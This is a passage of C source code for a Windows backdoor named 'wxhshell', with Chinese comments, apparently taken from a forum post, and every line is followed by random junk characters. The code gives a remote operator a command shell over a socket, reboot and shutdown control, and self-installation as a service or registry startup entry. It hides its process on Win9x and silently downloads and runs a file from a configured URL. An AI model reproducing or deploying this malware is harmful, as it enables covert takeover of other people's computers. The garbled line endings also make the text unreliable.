  case '?': { wPc,FH+y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zy!\=-dSm  
    break; ~Yr.0i.W  
  } (> 8fcQUBb  
  // 安装 N@A#e/8  
  case 'i': { IsRsjhg8x  
    if(Install()) )E4COw+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [j![R  
    else ,]cd%w9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D:F!;n9  
    break; AVcZ.+?  
    } SU#|&_wtr!  
  // 卸载 ;ib~c,  
  case 'r': { KK] >0QAY  
    if(Uninstall()) d9^=#ot  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V!Joh5=a  
    else +'KM~c?]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SjJUhTb  
    break; I+<`}  
    } FcWu#}.p}  
  // 显示 wxhshell 所在路径 B[$SA-ZHi  
  case 'p': { Lte\;Se.tu  
    char svExeFile[MAX_PATH]; ';lO[B  
    strcpy(svExeFile,"\n\r"); 6Edqg   
      strcat(svExeFile,ExeFile); QU#/(N(U#T  
        send(wsh,svExeFile,strlen(svExeFile),0); '8Gw{&&  
    break; R -h7c!ko  
    } Tl1?5  
  // 重启 ~]yqJYiid^  
  case 'b': { XG [%oL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -#i%4[v  
    if(Boot(REBOOT)) 3{_+dE"9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6J3F  
    else { ILVbbC`D  
    closesocket(wsh); .6'T;SoK>  
    ExitThread(0); J`V6zGgW  
    } 1U9iNki  
    break; UG!&n@R  
    } Mr1pRIYMd  
  // 关机 :5Vu.\,1  
  case 'd': { s e1ipn_A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _E "[%  
    if(Boot(SHUTDOWN)) WkO .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3L1|!  
    else { x[?_F  
    closesocket(wsh); wXZ-%,R -D  
    ExitThread(0); ::5-UxGL<2  
    } P#0 _  
    break; FE5R ^W#u-  
    } y%GV9  
  // 获取shell $_ NaxV  
  case 's': { D{4 Y:O&J  
    CmdShell(wsh); e-s@@k  
    closesocket(wsh); Vnl~AQfk|  
    ExitThread(0); \vT8 )\  
    break; ^ ID%pd  
  } nph{  
  // 退出 %*/[aq,#  
  case 'x': { 6%'{Cq1DE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mrbIoN==`  
    CloseIt(wsh); ydFY<Mb(o  
    break; >:xnjEsi$/  
    } >2|#b  
  // 离开 K l4",  
  case 'q': { "s*{0'jo  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !kIw835U  
    closesocket(wsh); QxkfP%_g  
    WSACleanup(); :C&?(HJ&r  
    exit(1); af_zZf!0  
    break; 4R0_%x6vG  
        } t"L:3<U7  
  } j[HKC0C6  
  } 42C:cl} ."  
ZD<,h` lZ  
  // 提示信息 *dQRs6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J\%:jg( m  
} d-* 9tit  
  } J^XH^`'  
hw7_8pAbh  
  return; T-@pTJ !K9  
} ;klDt|%3j  
.dfTv/n  
// shell模块句柄 3}+/\:q*  
int CmdShell(SOCKET sock) X}!_p& WI  
{ U!'lc} 5  
STARTUPINFO si; %MIu;u FR  
ZeroMemory(&si,sizeof(si)); /}VQzF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; she`_'?5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r" D|1  
PROCESS_INFORMATION ProcessInfo; \xdt|:8  
char cmdline[]="cmd"; xvkof 'Q)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yO6i "3  
  return 0; u7;A`  
} i~.[iZf|  
V.4j?\#%  
// 自身启动模式 MPB6  
int StartFromService(void) zZxP= c  
{ 70NHU;&N  
typedef struct k`t'P6 bU  
{ ceOjuzY  
  DWORD ExitStatus; ^AM_A>HnG  
  DWORD PebBaseAddress; :b>|U"ux  
  DWORD AffinityMask; q5 A+%#  
  DWORD BasePriority; <r kW4  
  ULONG UniqueProcessId; RgO 7> T\  
  ULONG InheritedFromUniqueProcessId; 2 9]8[Z,4  
}   PROCESS_BASIC_INFORMATION; H )}WWXK  
bDkE*4SRX  
PROCNTQSIP NtQueryInformationProcess; zm:=d>D..  
U VLcR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =?lT&|"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <_>6a7ra  
/;0>*ft4  
  HANDLE             hProcess; d{he  
  PROCESS_BASIC_INFORMATION pbi; TAi\#cnl(6  
E,|n'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <Z;7=k  
  if(NULL == hInst ) return 0; &SM$oy#?  
PYUY bRn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DG-vTr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GKSy|z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q.XsY.{  
So^`L s;S  
  if (!NtQueryInformationProcess) return 0; L7g&]%  
vP4Ij  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s,k1KTXg<B  
  if(!hProcess) return 0; IX(yajc[~M  
M~Slc*_%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g#:XN  
GW#kaqC1  
  CloseHandle(hProcess); :2My|3H\  
qIT{`hX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 85fDuJ9$Z"  
if(hProcess==NULL) return 0; AN>`M?EQ  
B#MW`7c  
HMODULE hMod; =tNiIU  
char procName[255]; Tc(R-Wi  
unsigned long cbNeeded; {XXNl)%  
9c^EoYpy-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "{k )nr+7U  
$iPN5@F  
  CloseHandle(hProcess); *\WI!%  
`Y;gMrp  
if(strstr(procName,"services")) return 1; // 以服务启动 }^<zVdwp  
O}-7 V5  
  return 0; // 注册表启动 _e_%U<\4  
} O)|4>J*B  
Ltw7b  
// 主模块 <`3(i\-X  
int StartWxhshell(LPSTR lpCmdLine) EAB+kY  
{ EM*Or Ue  
  SOCKET wsl; LPn }QzH  
BOOL val=TRUE; #<PdZl R  
  int port=0; w2+]C&B*  
  struct sockaddr_in door; #}(Df&  
|w2AB7EU  
  if(wscfg.ws_autoins) Install(); }# x3IE6'  
g)A0PvEu  
port=atoi(lpCmdLine); f B96Q  
mv.I.EL  
if(port<=0) port=wscfg.ws_port; RG3G},Q   
Q $0%~`t  
  WSADATA data; %m) h1/l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3x0wk9lND  
yTt (fn:;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ->&VbR)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BmFME0  
  door.sin_family = AF_INET; O`jA-t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S1`0d9ds#  
  door.sin_port = htons(port); E`n`#=xKR  
PJ@,01  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *UoHzaIqz  
closesocket(wsl); ()#tR^T  
return 1; p.] .M"A  
} AV4HX\`{P0  
cu^*x/0,  
  if(listen(wsl,2) == INVALID_SOCKET) { TY\"@(Q|G  
closesocket(wsl); <57l|}8  
return 1; /VO@>Hoh  
} rOHW  
  Wxhshell(wsl); TQd FC\@f"  
  WSACleanup(); Q|KD/s??  
]C6[`WF  
return 0; 7B\(r~f`t  
]3,.g)U*m  
} (OcNC/9  
)v{41sM+  
// 以NT服务方式启动 -xu.=n@,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R(83E B~_  
{ <1+6O[>{  
DWORD   status = 0; ~: <@`  
  DWORD   specificError = 0xfffffff; ynbpewaa  
P&3/nL$9N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _L'cyH.cn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s|j<b#<xQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E9B*K2l^{  
  serviceStatus.dwWin32ExitCode     = 0; <o7#?AcPu  
  serviceStatus.dwServiceSpecificExitCode = 0; yX V|4  
  serviceStatus.dwCheckPoint       = 0; (g/X(3  
  serviceStatus.dwWaitHint       = 0; AJ` v  
AV 5\W}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O;e8ft '|  
  if (hServiceStatusHandle==0) return; e_k _ ty`  
FT/5 _1i  
status = GetLastError(); o-=d|dWG  
  if (status!=NO_ERROR) FNm6/_u3  
{ d<Q+D1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iynS4]`U  
    serviceStatus.dwCheckPoint       = 0; EKd3$(^   
    serviceStatus.dwWaitHint       = 0; Gz|%;  
    serviceStatus.dwWin32ExitCode     = status; VUC <0WV  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^GrkIh0nL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E'^]zW=9  
    return; #O9*$eMw  
  } + lB+|yJ+  
+#uNQ`1v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zt[4_;2Y  
  serviceStatus.dwCheckPoint       = 0; +:]Aqyc\  
  serviceStatus.dwWaitHint       = 0; EPe]-C`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NVc! g  
} -)O kG#J@  
B.mbKntK)R  
// 处理NT服务事件,比如:启动、停止 aDl, K;GL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *Qg5Z   
{ ZE8/ m")  
switch(fdwControl) &[ u6oAR  
{ X`3vSCn  
case SERVICE_CONTROL_STOP: R=amKLD?  
  serviceStatus.dwWin32ExitCode = 0; 4-+ozC{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #A/]Vs$  
  serviceStatus.dwCheckPoint   = 0; nKh%E-c  
  serviceStatus.dwWaitHint     = 0; [%84L@:h  
  { %g0z) J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #x5N{8  
  } mfngbFa1  
  return; |J<pLz  
case SERVICE_CONTROL_PAUSE: ~1=.?Ho  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?z@v3(b[  
  break; wyrI8UY  
case SERVICE_CONTROL_CONTINUE: hD$p;LF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rO(TG  
  break; T018)WrhL  
case SERVICE_CONTROL_INTERROGATE: c BHL,  
  break; \)otu\3/  
}; uRm_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >'ksXA4b  
} c8-69hb?  
sWsG,v_  
// 标准应用程序主函数 ;<kZfx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A3MZxu=':3  
{ :otY;n-  
[W9e>Nsp0  
// 获取操作系统版本 V5u}C-o  
OsIsNt=GetOsVer(); D/S>w(=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M9Nk=s! 3  
qIDWl{b<  
  // 从命令行安装 hY.e[+  
  if(strpbrk(lpCmdLine,"iI")) Install(); UH 47e  
/o|PA:6J  
  // 下载执行文件 xTJ Sr2f  
if(wscfg.ws_downexe) { !dyxE'T2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pkXfsi-Nu  
  WinExec(wscfg.ws_filenam,SW_HIDE); #hgmUa  
} =!?[]>Dh  
L}}=yh6r  
if(!OsIsNt) { =mKfFeO.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Q{AZ'XV  
HideProc(); ~U"by_  
StartWxhshell(lpCmdLine); Mhb '^\px  
} H@%7\g,`  
else vo(g0Au)  
  if(StartFromService()) ?qg^WDs$  
  // 以服务方式启动 )IFl 0<d  
  StartServiceCtrlDispatcher(DispatchTable); p.rdSv(8'  
else G2CZwm{/f  
  // 普通方式启动 H.YIv50E  
  StartWxhshell(lpCmdLine); 4|> rwQ~t  
p^KlH=1n.6  
return 0; Rwc[:6;fn  
}
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只看该作者 1 发表于: 2006-10-10
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